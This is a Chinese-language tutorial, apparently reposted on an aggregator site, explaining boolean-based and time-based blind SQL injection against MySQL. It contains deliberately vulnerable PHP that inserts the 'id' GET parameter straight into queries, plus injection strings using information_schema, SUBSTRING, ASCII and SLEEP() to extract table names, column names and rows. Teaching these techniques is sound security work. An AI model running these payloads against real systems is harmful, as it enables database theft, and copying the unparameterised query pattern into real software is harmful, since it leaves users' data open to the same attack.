当前位置: 首页 > news >正文

盲注技术获取数据库的表名、列名和数据

一. 布尔盲注
布尔盲注是通过观察应用程序的响应(如HTTP 状态码等)来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';


$conn = new mysqli($host, $user, $password, $dbname);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}


// 获取用户输入的参数
$id = $_GET['id'];
2.构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";

$result = $conn->query($query);
3.返回查询结果
if ($result->num_rows > 0) {
    echo "Query is TRUE (数据存在)";
} else {
    echo "Query is FALSE (数据不存在)";
}

// 关闭连接
$conn->close();
?>
4.攻击者可以通过修改 `id` 参数,一点点推断数据库信息

获取表名:

sql
  id=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'


获取列名:

sql
  id=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'


获取数据:

sql
  id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

二. 时间盲注
时间盲注是通过在 SQL 查询中插入时间延迟函数(如 `SLEEP()`),根据数据库响应时间来判断查询条件是否为真。

1.数据库配置连接与布尔盲注相同
2.构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 结束时间
3. 计算查询耗时
$query_time = $end_time - $start_time;
4.根据查询时间判断结果
if ($query_time > 5) {
    echo "Query is TRUE (延迟 5 秒)";
} else {
    echo "Query is FALSE (无延迟)";
}
// 关闭连接
$conn->close();
?>
5.攻击者可以通过修改 `id` 参数,逐步推断数据库信息

获取表名:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)


获取列名:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)


获取数据: 

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)

三.获取表,列,具体数据的函数

1:获取表名

使用布尔盲注或时间盲注,逐个字符推断表名。
 

sql
  id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97

 

2:获取列名

使用布尔盲注或时间盲注,逐个字符推断列名。
 

sql
  id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117
3:获取数据
sql
  id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97
http://www.dtcms.com/a/19187.html

相关文章:

  • 数据结构6
  • 【kafka系列】Kafka如何保证消息不丢失?
  • ABC393E/F简要题解
  • 【DeepSeek-R1】 API申请(火山方舟联网版)
  • Mongodb数据管理
  • 数据结构与算法面试专题——堆排序
  • 蓝桥练习生
  • HTML【详解】input 标签
  • Linux系统中常见的词GNU是什么意思?
  • 虚拟机安装k8s集群
  • 【C语言】程序环境与预处理
  • 浅聊Docker使用、部署
  • 企业SSL 证书管理指南
  • 微服务SpringCloudAlibaba组件Spring Cloud Gateway网关教程【详解gatway网关以及各种过滤器配置使用,附有示例+代码】
  • 计算机视觉-局部特征
  • ?.、??、||分别是什么,又有哪些区别???
  • kafka为什么这么快?
  • Java和SQL测试、性能监控中常用工具
  • ZOJ 1011 NTA
  • 【第6章:强化学习基础与深度强化学习—6.4 强化学习在游戏、自动驾驶等领域的应用案例】
  • 网络工程师 (40)常见接入网技术
  • windows10+CPU基于openVINO高速部署yolov5
  • CUDA-内存访问模式
  • Spring Boot (maven)分页3.0版本 通用版
  • JAVA泛型介绍与举例
  • hashcat使用方法记录
  • SpringCould+vue3项目的后台用户管理的CURD【Taurus教育平台】
  • Linux---系统函数
  • 公牛充电桩协议对接单车汽车平台交互协议外发版
  • docker 进阶命令(基于Ubuntu)